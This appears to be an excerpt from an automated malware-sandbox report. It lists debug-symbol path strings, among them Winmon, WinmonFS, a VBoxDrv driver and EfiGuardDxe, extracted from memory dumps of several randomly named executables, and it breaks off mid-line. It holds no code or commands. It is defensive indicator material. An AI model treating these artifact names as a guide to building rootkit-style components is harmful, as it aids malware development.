Source:	Binary string: Cvinfo is corruptThe .pdb file contains a corrupted debug codeview information. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Downloading symbols for [%s] %ssrvsymsrvhttp://https://_bad_pdb_file.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: The symbol server has never indexed any version of this symbol fileNo version of the .pdb file with the given name has ever been registered. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: PDB not foundUnable to locate the .pdb file in any of the symbol search path locations. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\Release\Winmon.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\vbox\branch\w64-1.6\out\win.amd64\release\obj\src\VBox\HostDrivers\VBoxDrv\VBoxDrv.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Drive not readyThis error indicates a .pdb file related failure. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\x64\Release\Winmon.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Error while loading symbolsUnable to locate the .pdb file in any of the symbol search source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: zzz_AsmCodeRange_*FrameDatainvalid string positionstring too long.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Pdb read access deniedYou may be attempting to access a .pdb file with read-only attributes source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Unable to locate the .pdb file in this location source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\x64\Release\WinmonFS.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: The module signature does not match with .pdb signature. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: .pdb.dbg source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: '(EfiGuardDxe.pdbx source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: symsrv.pdbGCTL source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000C7A000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000003619000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000C7A000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003689000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003639000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000C7A000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000003529000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000C7A000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Users\admin\source\repos\driver-process-monitor-master\Release\WinmonProcessMonitor.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: or you do not have access permission to the .pdb location. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\Release\WinmonFS.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: An Exception happened while downloading the module .pdbPlease open a bug if this is a consistent repro. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: EfiGuardDxe.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\admin\source\repos\driver-process-monitor-master\x64\Release\WinmonProcessMonitor.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 